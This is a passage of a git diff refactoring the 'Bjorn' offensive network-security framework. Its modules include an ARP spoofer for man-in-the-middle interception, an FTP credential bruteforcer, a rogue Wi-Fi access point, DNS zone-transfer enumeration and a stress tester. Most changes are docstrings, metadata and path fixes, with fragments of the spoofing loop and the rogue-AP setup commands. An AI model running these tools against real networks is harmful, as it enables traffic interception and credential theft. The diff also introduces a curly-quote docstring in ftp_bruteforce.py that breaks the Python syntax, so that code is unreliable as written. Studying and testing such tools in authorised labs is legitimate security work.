+ "IPs": ip, + "Ports": port, + "Alive": 1, + } + + # Execute + print(f"[runner] Executing {args.b_class} on {ip or 'global'}:{port}...") + + if hasattr(action_instance, "scan") and not ip: + # Global action (e.g. NetworkScanner) + action_instance.scan() + result = "success" + else: + if not ip: + print(f"[runner] ERROR: {args.b_class} requires --ip but none provided") + sys.exit(1) + result = action_instance.execute(ip, port, row, args.b_class) + + print(f"[runner] Finished with result: {result}") + sys.exit(0 if result == "success" else 1) + + +if __name__ == "__main__": + try: + main() + except KeyboardInterrupt: + print("\n[runner] Interrupted") + sys.exit(130) + except Exception: + traceback.print_exc() + sys.exit(2) diff --git a/action_scheduler.py b/action_scheduler.py index d6a75b9..288b707 100644 --- a/action_scheduler.py +++ b/action_scheduler.py @@ -1,18 +1,4 @@ -# action_scheduler.py testsdd -# Smart Action Scheduler for Bjorn - queue-only implementation -# Handles trigger evaluation, requirements checking, and queue management. -# -# Invariants we enforce: -# - At most ONE "active" row per (action_name, mac_address, COALESCE(port,0)) -# where active ∈ {'scheduled','pending','running'}. -# - Retries for failed entries are coordinated by cleanup_queue() (with backoff) -# and never compete with trigger-based enqueues. -# -# Runtime knobs (from shared.py): -# shared_data.retry_success_actions : bool (default False) -# shared_data.retry_failed_actions : bool (default True) -# -# These take precedence over cooldown / rate-limit for NON-interval triggers. +"""action_scheduler.py - Trigger evaluation, queue management, and dedup for scheduled actions.""" from __future__ import annotations @@ -82,6 +68,9 @@ class ActionScheduler: self._last_cache_refresh = 0.0 self._cache_ttl = 60.0 # seconds + # Lock for global action evaluation (must be created here, not lazily) + self._globals_lock = threading.Lock() + # Memory for global actions self._last_global_runs: Dict[str, float] = {} # Actions Studio last source type @@ -133,7 +122,7 @@ class ActionScheduler: # Keep queue consistent with current enable/disable flags. self._cancel_queued_disabled_actions() - # 1) Promote scheduled actions that are due (always — queue hygiene) + # 1) Promote scheduled actions that are due (always - queue hygiene) self._promote_scheduled_to_pending() # When LLM autonomous mode owns scheduling, skip trigger evaluation @@ -158,7 +147,7 @@ class ActionScheduler: if not _llm_skip: if _llm_wants_skip and _queue_empty: - logger.info("Scheduler: LLM queue empty — heuristic fallback active") + logger.info("Scheduler: LLM queue empty - heuristic fallback active") # 2) Publish next scheduled occurrences for interval actions self._publish_all_upcoming() @@ -170,7 +159,7 @@ class ActionScheduler: else: logger.debug("Scheduler: trigger evaluation skipped (LLM autonomous owns scheduling)") - # 5) Queue maintenance (always — starvation prevention + cleanup) + # 5) Queue maintenance (always - starvation prevention + cleanup) self.cleanup_queue() self.update_priorities() @@ -768,8 +757,6 @@ class ActionScheduler: def _evaluate_global_actions(self): """Evaluate and queue global actions with on_start trigger.""" - self._globals_lock = getattr(self, "_globals_lock", threading.Lock()) - with self._globals_lock: try: for action in self._action_definitions.values(): diff --git a/actions/IDLE.py b/actions/IDLE.py index f82e290..3060f35 100644 --- a/actions/IDLE.py +++ b/actions/IDLE.py @@ -1,14 +1,34 @@ +"""IDLE.py - No-op placeholder action for idle state.""" + from shared import SharedData -b_class = "IDLE" -b_module = "idle" -b_status = "IDLE" +b_class = "IDLE" +b_module = "idle" +b_status = "IDLE" +b_enabled = 0 +b_action = "normal" +b_trigger = None +b_port = None +b_service = "[]" +b_priority = 0 +b_timeout = 60 +b_cooldown = 0 +b_name = "IDLE" +b_description = "No-op placeholder action representing idle state." +b_author = "Bjorn Team" +b_version = "1.0.0" +b_max_retries = 0 +b_stealth_level = 10 +b_risk_level = "low" +b_tags = ["idle", "placeholder"] +b_category = "system" +b_icon = "IDLE.png" class IDLE: def __init__(self, shared_data): self.shared_data = shared_data - - - + def execute(self, ip, port, row, status_key) -> str: + """No-op action. Always returns success.""" + return "success" diff --git a/actions/arp_spoofer.py b/actions/arp_spoofer.py index fd9d48e..858bf68 100644 --- a/actions/arp_spoofer.py +++ b/actions/arp_spoofer.py @@ -1,15 +1,6 @@ -""" -arp_spoofer.py — ARP Cache Poisoning for Man-in-the-Middle positioning. +"""arp_spoofer.py - Bidirectional ARP cache poisoning for MITM positioning. -Ethical cybersecurity lab action for Bjorn framework. -Performs bidirectional ARP spoofing between a target host and the network -gateway. Restores ARP tables on completion or interruption. - -SQL mode: -- Orchestrator provides (ip, port, row) for the target host. -- Gateway IP is auto-detected from system routing table or shared config. -- Results persisted to JSON output and logged for RL training. -- Fully integrated with EPD display (progress, status, comments). +Spoofs target<->gateway ARP entries; auto-restores tables on exit. """ import os @@ -104,7 +95,7 @@ class ARPSpoof: from scapy.all import ARP, Ether, sendp, sr1 # noqa: F401 self._scapy_ok = True except ImportError: - logger.error("scapy not available — ARPSpoof will not function") + logger.error("scapy not available - ARPSpoof will not function") self._scapy_ok = False # ─────────────────── Identity Cache ────────────────────── @@ -231,7 +222,7 @@ class ARPSpoof: logger.error(f"Cannot detect gateway for ARP spoof on {ip}") return "failed" if gateway_ip == ip: - logger.warning(f"Target {ip} IS the gateway — skipping") + logger.warning(f"Target {ip} IS the gateway - skipping") return "failed" logger.info(f"ARP Spoof: target={ip} gateway={gateway_ip}") @@ -252,7 +243,7 @@ class ARPSpoof: return "failed" self.shared_data.bjorn_progress = "20%" - logger.info(f"Resolved — target_mac={target_mac}, gateway_mac={gateway_mac}") + logger.info(f"Resolved - target_mac={target_mac}, gateway_mac={gateway_mac}") self.shared_data.log_milestone(b_class, "PoisonActive", f"MACs resolved, starting spoof") # 3) Spoofing loop @@ -263,7 +254,7 @@ class ARPSpoof: while (time.time() - start_time) < duration: if self.shared_data.orchestrator_should_exit: - logger.info("Orchestrator exit — stopping ARP spoof") + logger.info("Orchestrator exit - stopping ARP spoof") break self._send_arp_poison(ip, target_mac, gateway_ip, iface) self._send_arp_poison(gateway_ip, gateway_mac, ip, iface) diff --git a/actions/berserker_force.py b/actions/berserker_force.py index 2640ba2..3d055db 100644 --- a/actions/berserker_force.py +++ b/actions/berserker_force.py @@ -1,19 +1,8 @@ #!/usr/bin/env python3 # -*- coding: utf-8 -*- -""" -berserker_force.py -- Service resilience / stress testing (Pi Zero friendly, orchestrator compatible). +"""berserker_force.py - Rate-limited service stress testing with degradation analysis. -What it does: -- Phase 1 (Baseline): Measures TCP connect response times per port (3 samples each). -- Phase 2 (Stress Test): Runs a rate-limited load test using TCP connect, optional SYN probes - (scapy), HTTP probes (urllib), or mixed mode. -- Phase 3 (Post-stress): Re-measures baseline to detect degradation. -- Phase 4 (Analysis): Computes per-port degradation percentages, writes a JSON report. - -This is NOT a DoS tool. It sends measured, rate-limited probes and records how the -target's response times change under light load. Max 50 req/s to stay RPi-safe. - -Output is saved to data/output/stress/_.json +Measures baseline response times, applies light load (max 50 req/s), then reports per-port degradation. """ import json @@ -115,8 +104,8 @@ b_examples = [ b_docs_url = "docs/actions/BerserkerForce.md" # -------------------- Constants ----------------------------------------------- -_DATA_DIR = "/home/bjorn/Bjorn/data" -OUTPUT_DIR = os.path.join(_DATA_DIR, "output", "stress") +_DATA_DIR = None # Resolved at runtime via shared_data.data_dir +OUTPUT_DIR = None # Resolved at runtime via shared_data.data_dir _BASELINE_SAMPLES = 3 # TCP connect samples per port for baseline _CONNECT_TIMEOUT_S = 2.0 # socket connect timeout @@ -428,15 +417,16 @@ class BerserkerForce: def _save_report(self, ip: str, mode: str, duration_s: int, rate: int, analysis: Dict) -> str: """Write the JSON report and return the file path.""" + output_dir = os.path.join(self.shared_data.data_dir, "output", "stress") try: - os.makedirs(OUTPUT_DIR, exist_ok=True) + os.makedirs(output_dir, exist_ok=True) except Exception as exc: - logger.warning(f"Could not create output dir {OUTPUT_DIR}: {exc}") + logger.warning(f"Could not create output dir {output_dir}: {exc}") ts = datetime.now(timezone.utc).strftime("%Y-%m-%d_%H-%M-%S") safe_ip = ip.replace(":", "_").replace(".", "_") filename = f"{safe_ip}_{ts}.json" - filepath = os.path.join(OUTPUT_DIR, filename) + filepath = os.path.join(output_dir, filename) report = { "tool": "berserker_force", diff --git a/actions/bruteforce_common.py b/actions/bruteforce_common.py index c9fc7b1..41c0fae 100644 --- a/actions/bruteforce_common.py +++ b/actions/bruteforce_common.py @@ -1,3 +1,5 @@ +"""bruteforce_common.py - Shared helpers for all bruteforce actions (progress tracking, password generation).""" + import itertools import threading import time diff --git a/actions/custom/__init__.py b/actions/custom/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/actions/custom/example_bjorn_action.py b/actions/custom/example_bjorn_action.py new file mode 100644 index 0000000..27be30a --- /dev/null +++ b/actions/custom/example_bjorn_action.py @@ -0,0 +1,105 @@ +"""example_bjorn_action.py - Custom action template using the Bjorn action format.""" + +import time +import logging +from logger import Logger + +logger = Logger(name="example_bjorn_action", level=logging.DEBUG) + +# ---- Bjorn action metadata (required for Bjorn format detection) ---- +b_class = "ExampleBjornAction" +b_module = "custom/example_bjorn_action" +b_name = "Example Bjorn Action" +b_description = "Demo custom action with shared_data access and DB queries." +b_author = "Bjorn Community" +b_version = "1.0.0" +b_action = "custom" +b_enabled = 1 +b_priority = 50 +b_port = None +b_service = None +b_trigger = None +b_parent = None +b_cooldown = 0 +b_rate_limit = None +b_tags = '["custom", "example", "template"]' + +# ---- Argument schema (drives the web UI controls) ---- +b_args = { + "target_ip": { + "type": "text", + "default": "192.168.1.1", + "description": "Target IP address to probe" + }, + "scan_count": { + "type": "number", + "default": 3, + "min": 1, + "max": 100, + "description": "Number of probe iterations" + }, + "verbose": { + "type": "checkbox", + "default": False, + "description": "Enable verbose output" + }, + "mode": { + "type": "select", + "choices": ["quick", "normal", "deep"], + "default": "normal", + "description": "Scan depth" + } +} + +b_examples = [ + {"name": "Quick local scan", "args": {"target_ip": "192.168.1.1", "scan_count": 1, "mode": "quick"}}, + {"name": "Deep scan", "args": {"target_ip": "10.0.0.1", "scan_count": 10, "mode": "deep", "verbose": True}}, +] + + +class ExampleBjornAction: + """Custom Bjorn action with full shared_data access.""" + + def __init__(self, shared_data): + self.shared_data = shared_data + logger.info("ExampleBjornAction initialized") + + def execute(self, ip, port, row, status_key): + """Main entry point called by action_runner / orchestrator. + + Args: + ip: Target IP address + port: Target port (may be empty) + row: Dict with MAC Address, IPs, Ports, Alive + status_key: Action class name (for status tracking) + + Returns: + 'success' or 'failed' + """ + verbose = getattr(self.shared_data, "verbose", False) + scan_count = int(getattr(self.shared_data, "scan_count", 3)) + mode = getattr(self.shared_data, "mode", "normal") + + print(f"[*] Running ExampleBjornAction on {ip} (mode={mode}, count={scan_count})") + + # Example: query DB for known hosts + try: + host_count = self.shared_data.db.query_one( + "SELECT COUNT(1) c FROM hosts" + ) + print(f"[*] Known hosts in DB: {host_count['c'] if host_count else 0}") + except Exception as e: + print(f"[!] DB query failed: {e}") + + # Simulate work + for i in range(scan_count): + if getattr(self.shared_data, "orchestrator_should_exit", False): + print("[!] Stop requested, aborting") + return "failed" + print(f"[*] Probe {i+1}/{scan_count} on {ip}...") + if verbose: + print(f" MAC={row.get('MAC Address', 'unknown')} mode={mode}") + time.sleep(1) + + print(f"[+] Done. {scan_count} probes completed on {ip}") + return "success" diff --git a/actions/custom/example_free_script.py b/actions/custom/example_free_script.py new file mode 100644 index 0000000..811c411 --- /dev/null +++ b/actions/custom/example_free_script.py @@ -0,0 +1,97 @@ +"""example_free_script.py - Custom script template using plain Python (no shared_data).""" + +import argparse +import time +import sys + +# ---- Display metadata (optional, used by the web UI) ---- +b_name = "Example Free Script" +b_description = "Standalone Python script demo with argparse and progress output." +b_author = "Bjorn Community" +b_version = "1.0.0" +b_tags = '["custom", "example", "template", "free"]' + +# ---- Argument schema (drives the web UI controls, same format as Bjorn actions) ---- +b_args = { + "target": { + "type": "text", + "default": "192.168.1.0/24", + "description": "Target host or CIDR range" + }, + "timeout": { + "type": "number", + "default": 5, + "min": 1, + "max": 60, + "description": "Timeout per probe in seconds" + }, + "output_format": { + "type": "select", + "choices": ["text", "json", "csv"], + "default": "text", + "description": "Output format" + }, + "dry_run": { + "type": "checkbox", + "default": False, + "description": "Simulate without actually probing" + } +} + +b_examples = [ + {"name": "Quick local check", "args": {"target": "192.168.1.1", "timeout": 2, "output_format": "text"}}, + {"name": "Dry run JSON", "args": {"target": "10.0.0.0/24", "timeout": 5, "output_format": "json", "dry_run": True}}, +] + + +def main(): + parser = argparse.ArgumentParser(description="Example free-form Bjorn custom script") + parser.add_argument("--target", default="192.168.1.0/24", help="Target host or CIDR") + parser.add_argument("--timeout", type=int, default=5, help="Timeout per probe (seconds)") + parser.add_argument("--output-format", default="text", choices=["text", "json", "csv"]) + parser.add_argument("--dry-run", action="store_true", help="Simulate without probing") + args = parser.parse_args() + + print(f"[*] Example Free Script starting") + print(f"[*] Target: {args.target}") + print(f"[*] Timeout: {args.timeout}s") + print(f"[*] Format: {args.output_format}") + print(f"[*] Dry run: {args.dry_run}") + print() + + # Simulate some work with progress output + steps = 5 + for i in range(steps): + print(f"[*] Step {i+1}/{steps}: {'simulating' if args.dry_run else 'probing'} {args.target}...") + time.sleep(1) + + # Example output in different formats + results = [ + {"host": "192.168.1.1", "status": "up", "latency": "2ms"}, + {"host": "192.168.1.100", "status": "up", "latency": "5ms"}, + ] + + if args.output_format == "json": + import json + print(json.dumps(results, indent=2)) + elif args.output_format == "csv": + print("host,status,latency") + for r in results: + print(f"{r['host']},{r['status']},{r['latency']}") + else: + for r in results: + print(f" {r['host']} {r['status']} ({r['latency']})") + + print() + print(f"[+] Done. Found {len(results)} hosts.") + + +if __name__ == "__main__": + try: + main() + except KeyboardInterrupt: + print("\n[!] Interrupted") + sys.exit(130) + except Exception as e: + print(f"\n[!] Error: {e}") + sys.exit(1) diff --git a/actions/demo_action.py b/actions/demo_action.py index 61b126b..99145ae 100644 --- a/actions/demo_action.py +++ b/actions/demo_action.py @@ -1,9 +1,5 @@ -# demo_action.py -# Demonstration Action: wrapped in a DemoAction class +"""demo_action.py - Minimal template action that prints its arguments.""" -# --------------------------------------------------------------------------- -# Metadata (compatible with sync_actions / Neo launcher) -# --------------------------------------------------------------------------- b_class = "DemoAction" b_module = "demo_action" b_enabled = 1 @@ -14,6 +10,19 @@ b_description = "Demonstration action: simply prints the received arguments." b_author = "Template" b_version = "0.1.0" b_icon = "demo_action.png" +b_status = "demo_action" +b_port = None +b_service = "[]" +b_trigger = None +b_parent = None +b_priority = 0 +b_cooldown = 0 +b_rate_limit = None +b_timeout = 60 +b_max_retries = 0 +b_stealth_level = 10 +b_risk_level = "low" +b_tags = ["demo", "template", "test"] b_examples = [ { @@ -129,6 +138,8 @@ def _list_net_ifaces() -> list[str]: names.update(ifname for ifname in psutil.net_if_addrs().keys() if ifname != "lo") except Exception: pass + if os.name == "nt": + return ["Ethernet", "Wi-Fi"] try: for n in os.listdir("/sys/class/net"): if n and n != "lo": @@ -183,7 +194,8 @@ class DemoAction: def execute(self, ip=None, port=None, row=None, status_key=None): """Called by the orchestrator. This demo only prints arguments.""" self.shared_data.bjorn_orch_status = "DemoAction" - self.shared_data.comment_params = {"ip": ip, "port": port} + # EPD live status + self.shared_data.comment_params = {"status": "running"} print("=== DemoAction :: executed ===") print(f" IP/Target: {ip}:{port}") diff --git a/actions/dns_pillager.py b/actions/dns_pillager.py index 502f38f..9a7cebe 100644 --- a/actions/dns_pillager.py +++ b/actions/dns_pillager.py @@ -1,19 +1,4 @@ -""" -dns_pillager.py - DNS reconnaissance and enumeration action for Bjorn. - -Performs comprehensive DNS intelligence gathering on discovered hosts: -- Reverse DNS lookup on target IP -- Full DNS record enumeration (A, AAAA, MX, NS, TXT, CNAME, SOA, SRV, PTR) -- Zone transfer (AXFR) attempts against discovered nameservers -- Subdomain brute-force enumeration with threading - -SQL mode: -- Targets provided by the orchestrator (ip + port) -- IP -> (MAC, hostname) mapping read from DB 'hosts' -- Discovered hostnames are written back to DB hosts table -- Results saved as JSON in data/output/dns/ -- Action status recorded in DB.action_results (via DNSPillager.execute) -""" +"""dns_pillager.py - DNS recon: reverse lookups, record enumeration, zone transfers, subdomain brute.""" import os import json @@ -29,7 +14,6 @@ from concurrent.futures import ThreadPoolExecutor, as_completed from shared import SharedData from logger import Logger -# Configure the logger logger = Logger(name="dns_pillager.py", level=logging.DEBUG) # --------------------------------------------------------------------------- diff --git a/actions/freya_harvest.py b/actions/freya_harvest.py index 7c28315..211a82c 100644 --- a/actions/freya_harvest.py +++ b/actions/freya_harvest.py @@ -46,14 +46,14 @@ b_icon = "FreyaHarvest.png" b_args = { "input_dir": { - "type": "text", - "label": "Input Data Dir", - "default": "/home/bjorn/Bjorn/data/output" + "type": "text", + "label": "Input Data Dir", + "default": "data/output" }, "output_dir": { - "type": "text", - "label": "Reports Dir", - "default": "/home/bjorn/Bjorn/data/reports" + "type": "text", + "label": "Reports Dir", + "default": "data/reports" }, "watch": { "type": "checkbox", @@ -92,7 +92,8 @@ class FreyaHarvest: with self.lock: self.data[cat].append(finds) new_findings += 1 - except: pass + except Exception: + logger.debug(f"Failed to read {f_path}") if new_findings > 0: logger.info(f"FreyaHarvest: Collected {new_findings} new intelligence items.") @@ -123,20 +124,30 @@ class FreyaHarvest: self.shared_data.log_milestone(b_class, "ReportGenerated", f"MD: {os.path.basename(out_file)}") def execute(self, ip, port, row, status_key) -> str: - input_dir = getattr(self.shared_data, "freya_harvest_input", b_args["input_dir"]["default"]) - output_dir = getattr(self.shared_data, "freya_harvest_output", b_args["output_dir"]["default"]) + # Reset per-run state to prevent memory accumulation + self.data.clear() + self.last_scan_time = 0 + + _data_dir = getattr(self.shared_data, "data_dir", "/home/bjorn/Bjorn/data") + _default_input = os.path.join(_data_dir, "output") + _default_output = os.path.join(_data_dir, "reports") + input_dir = getattr(self.shared_data, "freya_harvest_input", _default_input) + output_dir = getattr(self.shared_data, "freya_harvest_output", _default_output) watch = getattr(self.shared_data, "freya_harvest_watch", True) fmt = getattr(self.shared_data, "freya_harvest_format", "all") timeout = int(getattr(self.shared_data, "freya_harvest_timeout", 600)) logger.info(f"FreyaHarvest: Starting data harvest from {input_dir}") self.shared_data.log_milestone(b_class, "Startup", "Monitoring intelligence directories") + # EPD live status + self.shared_data.comment_params = {"input": os.path.basename(input_dir), "items": "0"} start_time = time.time() try: while time.time() - start_time < timeout: if self.shared_data.orchestrator_should_exit: - break + logger.info("FreyaHarvest: Interrupted by orchestrator.") + return "interrupted" self._collect_data(input_dir) self._generate_report(output_dir, fmt) @@ -145,7 +156,10 @@ class FreyaHarvest: elapsed = int(time.time() - start_time) prog = int((elapsed / timeout) * 100) self.shared_data.bjorn_progress = f"{prog}%" - + # EPD live status update + total_items = sum(len(v) for v in self.data.values()) + self.shared_data.comment_params = {"input": os.path.basename(input_dir), "items": str(total_items)} + if not watch: break @@ -156,7 +170,10 @@ class FreyaHarvest: except Exception as e: logger.error(f"FreyaHarvest error: {e}") return "failed" - + finally: + self.shared_data.bjorn_progress = "" + self.shared_data.comment_params = {} + return "success" if __name__ == "__main__": diff --git a/actions/ftp_bruteforce.py b/actions/ftp_bruteforce.py index 0a6d8cf..44f8e72 100644 --- a/actions/ftp_bruteforce.py +++ b/actions/ftp_bruteforce.py @@ -1,10 +1,4 @@ -""" -ftp_bruteforce.py — FTP bruteforce (DB-backed, no CSV/JSON, no rich) -- Cibles: (ip, port) par l’orchestrateur -- IP -> (MAC, hostname) via DB.hosts -- Succès -> DB.creds (service='ftp') -- Conserve la logique d’origine (queue/threads, sleep éventuels, etc.) -""" +“””ftp_bruteforce.py - Threaded FTP credential bruteforcer, results stored in DB.””” import os import threading @@ -28,11 +22,24 @@ b_parent = None b_service = '["ftp"]' b_trigger = 'on_any:["on_service:ftp","on_new_port:21"]' b_priority = 70 -b_cooldown = 1800 # 30 minutes entre deux runs -b_rate_limit = '3/86400' # 3 fois par jour max +b_cooldown = 1800 # 30 min between runs +b_rate_limit = '3/86400' # max 3 per day +b_enabled = 1 +b_action = "normal" +b_timeout = 600 +b_max_retries = 2 +b_stealth_level = 3 +b_risk_level = "medium" +b_tags = ["bruteforce", "ftp", "credentials"] +b_category = "exploitation" +b_name = "FTP Bruteforce" +b_description = "Threaded FTP credential bruteforcer with share enumeration." +b_author = "Bjorn Team" +b_version = "2.0.0" +b_icon = "FTPBruteforce.png" class FTPBruteforce: - """Wrapper orchestrateur -> FTPConnector.""" + """Orchestrator wrapper for FTPConnector.""" def __init__(self, shared_data): self.shared_data = shared_data @@ -40,11 +47,11 @@ class FTPBruteforce: logger.info("FTPConnector initialized.") def bruteforce_ftp(self, ip, port): - """Lance le bruteforce FTP pour (ip, port).""" + """Run FTP bruteforce for (ip, port).""" return self.ftp_bruteforce.run_bruteforce(ip, port) def execute(self, ip, port, row, status_key): - """Point d'entrée orchestrateur (retour 'success' / 'failed').""" + """Orchestrator entry point. Returns 'success' or 'failed'.""" self.shared_data.bjorn_orch_status = "FTPBruteforce" self.shared_data.comment_params = {"user": "?", "ip": ip, "port": str(port)} logger.info(f"Brute forcing FTP on {ip}:{port}...") @@ -53,12 +60,11 @@ class FTPBruteforce: class FTPConnector: - """Gère les tentatives FTP, persistance DB, mapping IP→(MAC, Hostname).""" + """Handles FTP attempts, DB persistence, and IP->(MAC, Hostname) mapping.""" def __init__(self, shared_data): self.shared_data = shared_data - # Wordlists inchangées self.users = self._read_lines(shared_data.users_file) self.passwords = self._read_lines(shared_data.passwords_file) @@ -71,7 +77,7 @@ class FTPConnector: self.queue = Queue() self.progress = None - # ---------- util fichiers ---------- + # ---------- file utils ---------- @staticmethod def _read_lines(path: str) -> List[str]: try: @@ -186,7 +192,7 @@ class FTPConnector: self.progress.advance(1) self.queue.task_done() - # Pause configurable entre chaque tentative FTP + # Configurable delay between FTP attempts if getattr(self.shared_data, "timewait_ftp", 0) > 0: time.sleep(self.shared_data.timewait_ftp) @@ -267,7 +273,8 @@ class FTPConnector: self.results = [] def removeduplicates(self): - pass + """No longer needed with unique DB index; kept for interface compat.""" + # Dedup handled by DB UNIQUE constraint + ON CONFLICT in save_results if __name__ == "__main__": diff --git a/actions/heimdall_guard.py b/actions/heimdall_guard.py index 313ab37..ee269ce 100644 --- a/actions/heimdall_guard.py +++ b/actions/heimdall_guard.py @@ -119,6 +119,14 @@ class HeimdallGuard: return packet def execute(self, ip, port, row, status_key) -> str: + if not HAS_SCAPY: + logger.error("HeimdallGuard requires scapy but it is not installed.") + return "failed" + + # Reset per-run state + self.stats = {'packets_processed': 0, 'packets_fragmented': 0, 'timing_adjustments': 0} + self.packet_queue.clear() + iface = getattr(self.shared_data, "heimdall_guard_interface", conf.iface) mode = getattr(self.shared_data, "heimdall_guard_mode", "all") delay = float(getattr(self.shared_data, "heimdall_guard_delay", 1.0)) @@ -126,6 +134,8 @@ class HeimdallGuard: logger.info(f"HeimdallGuard: Engaging stealth mode ({mode}) on {iface}") self.shared_data.log_milestone(b_class, "StealthActive", f"Mode: {mode}") + # EPD live status + self.shared_data.comment_params = {"ip": ip, "mode": mode, "iface": iface} self.active = True start_time = time.time() @@ -133,11 +143,9 @@ class HeimdallGuard: try: while time.time() - start_time < timeout: if self.shared_data.orchestrator_should_exit: - break - - # In a real scenario, this would be hooking into a packet stream - # For this action, we simulate protection state - + logger.info("HeimdallGuard: Interrupted by orchestrator.") + return "interrupted" + # Progress reporting elapsed = int(time.time() - start_time) prog = int((elapsed / timeout) * 100) @@ -158,7 +166,9 @@ class HeimdallGuard: return "failed" finally: self.active = False - + self.shared_data.bjorn_progress = "" + self.shared_data.comment_params = {} + return "success" if __name__ == "__main__": diff --git a/actions/loki_deceiver.py b/actions/loki_deceiver.py index 4d3b178..2914f02 100644 --- a/actions/loki_deceiver.py +++ b/actions/loki_deceiver.py @@ -12,6 +12,7 @@ import subprocess import threading import time import re +import tempfile import datetime from typing import Any, Dict, List, Optional @@ -126,7 +127,7 @@ class LokiDeceiver: 'rsn_pairwise=CCMP' ]) - h_path = '/tmp/bjorn_hostapd.conf' + h_path = os.path.join(tempfile.gettempdir(), 'bjorn_hostapd.conf') with open(h_path, 'w') as f: f.write('\n'.join(h_conf)) @@ -140,7 +141,7 @@ class LokiDeceiver: 'log-queries', 'log-dhcp' ] - d_path = '/tmp/bjorn_dnsmasq.conf' + d_path = os.path.join(tempfile.gettempdir(), 'bjorn_dnsmasq.conf') with open(d_path, 'w') as f: f.write('\n'.join(d_conf)) @@ -170,10 +171,16 @@ class LokiDeceiver: channel = int(getattr(self.shared_data, "loki_deceiver_channel", 6)) password = getattr(self.shared_data, "loki_deceiver_password", "") timeout = int(getattr(self.shared_data, "loki_deceiver_timeout", 600)) - output_dir = getattr(self.shared_data, "loki_deceiver_output", "/home/bjorn/Bjorn/data/output/wifi") + _fallback_dir = os.path.join(getattr(self.shared_data, "data_dir", "/home/bjorn/Bjorn/data"), "output", "wifi") + output_dir = getattr(self.shared_data, "loki_deceiver_output", _fallback_dir) + + # Reset per-run state + self.active_clients.clear() logger.info(f"LokiDeceiver: Starting Rogue AP '{ssid}' on {iface}") self.shared_data.log_milestone(b_class, "Startup", f"Creating AP: {ssid}") + # EPD live status + self.shared_data.comment_params = {"ssid": ssid, "iface": iface, "channel": str(channel)} try: self.stop_event.clear() @@ -181,7 +188,8 @@ class LokiDeceiver: h_path, d_path = self._create_configs(iface, ssid, channel, password) # Set IP for interface - subprocess.run(['sudo', 'ifconfig', iface, '192.168.1.1', 'netmask', '255.255.255.0'], capture_output=True) + subprocess.run(['sudo', 'ip', 'addr', 'add', '192.168.1.1/24', 'dev', iface], capture_output=True) + subprocess.run(['sudo', 'ip', 'link', 'set', iface, 'up'], capture_output=True) # Start processes # Use DEVNULL to avoid blocking on unread PIPE buffers. @@ -208,8 +216,9 @@ class LokiDeceiver: start_time = time.time() while time.time() - start_time < timeout: if self.shared_data.orchestrator_should_exit: - break - + logger.info("LokiDeceiver: Interrupted by orchestrator.") + return "interrupted" + # Check if procs still alive if self.hostapd_proc.poll() is not None: logger.error("LokiDeceiver: hostapd crashed.") @@ -219,7 +228,9 @@ class LokiDeceiver: elapsed = int(time.time() - start_time) prog = int((elapsed / timeout) * 100) self.shared_data.bjorn_progress = f"{prog}%" - + # EPD live status update + self.shared_data.comment_params = {"ssid": ssid, "clients": str(len(self.active_clients)), "uptime": str(elapsed)} + if elapsed % 60 == 0: self.shared_data.log_milestone(b_class, "Status", f"Uptime: {elapsed}s | Clients: {len(self.active_clients)}") @@ -244,10 +255,12 @@ class LokiDeceiver: for p in [self.hostapd_proc, self.dnsmasq_proc]: if p: try: p.terminate(); p.wait(timeout=5) - except: pass + except Exception: pass # Restore NetworkManager if needed (custom logic based on usage) # subprocess.run(['sudo', 'systemctl', 'start', 'NetworkManager'], capture_output=True) + self.shared_data.bjorn_progress = "" + self.shared_data.comment_params = {} return "success" diff --git a/actions/nmap_vuln_scanner.py b/actions/nmap_vuln_scanner.py index 1853d33..81ba06b 100644 --- a/actions/nmap_vuln_scanner.py +++ b/actions/nmap_vuln_scanner.py @@ -1,16 +1,11 @@ -""" -Vulnerability Scanner Action -Scanne ultra-rapidement CPE (+ CVE via vulners si dispo), -avec fallback "lourd" optionnel. -Affiche une progression en % dans Bjorn. -""" +"""nmap_vuln_scanner.py - Nmap-based CPE/CVE vulnerability scanning with vulners integration.""" import re import time import nmap import json import logging -from datetime import datetime, timedelta +from datetime import datetime, timedelta, timezone from typing import Dict, List, Any from shared import SharedData @@ -31,18 +26,28 @@ b_priority = 11 b_cooldown = 0 b_enabled = 1 b_rate_limit = None +b_timeout = 600 +b_max_retries = 2 +b_stealth_level = 3 +b_risk_level = "medium" +b_tags = ["vuln", "nmap", "cpe", "cve", "scanner"] +b_category = "recon" +b_name = "Nmap Vuln Scanner" +b_description = "Nmap-based CPE/CVE vulnerability scanning with vulners integration." +b_author = "Bjorn Team" +b_version = "2.0.0" +b_icon = "NmapVulnScanner.png" -# Regex compilé une seule fois (gain CPU sur Pi Zero) +# Pre-compiled regex (saves CPU on Pi Zero) CVE_RE = re.compile(r'CVE-\d{4}-\d{4,7}', re.IGNORECASE) class NmapVulnScanner: - """Scanner de vulnérabilités via nmap (mode rapide CPE/CVE) avec progression.""" + """Nmap vulnerability scanner (fast CPE/CVE mode) with progress tracking.""" def __init__(self, shared_data: SharedData): self.shared_data = shared_data - # Pas de self.nm partagé : on instancie dans chaque méthode de scan - # pour éviter les corruptions d'état entre batches. + # No shared self.nm: instantiate per scan method to avoid state corruption between batches logger.info("NmapVulnScanner initialized") # ---------------------------- Public API ---------------------------- # @@ -54,7 +59,7 @@ class NmapVulnScanner: self.shared_data.bjorn_progress = "0%" if self.shared_data.orchestrator_should_exit: - return 'failed' + return 'interrupted' # 1) Metadata meta = {} @@ -63,7 +68,7 @@ class NmapVulnScanner: except Exception: pass - # 2) Récupérer MAC et TOUS les ports + # 2) Get MAC and ALL ports mac = row.get("MAC Address") or row.get("mac_address") or "" ports_str = "" @@ -87,13 +92,13 @@ class NmapVulnScanner: ports = [p.strip() for p in ports_str.split(';') if p.strip()] - # Nettoyage des ports (garder juste le numéro si format 80/tcp) + # Strip port format (keep just the number from "80/tcp") ports = [p.split('/')[0] for p in ports] self.shared_data.comment_params = {"ip": ip, "ports": str(len(ports))} logger.debug(f"Found {len(ports)} ports for {ip}: {ports[:5]}...") - # 3) Filtrage "Rescan Only" + # 3) "Rescan Only" filtering if self.shared_data.config.get('vuln_rescan_on_change_only', False): if self._has_been_scanned(mac): original_count = len(ports) @@ -105,24 +110,24 @@ class NmapVulnScanner: self.shared_data.bjorn_progress = "100%" return 'success' - # 4) SCAN AVEC PROGRESSION + # 4) SCAN WITH PROGRESS if self.shared_data.orchestrator_should_exit: - return 'failed' + return 'interrupted' logger.info(f"Starting nmap scan on {len(ports)} ports for {ip}") findings = self.scan_vulnerabilities(ip, ports) if self.shared_data.orchestrator_should_exit: logger.info("Scan interrupted by user") - return 'failed' + return 'interrupted' - # 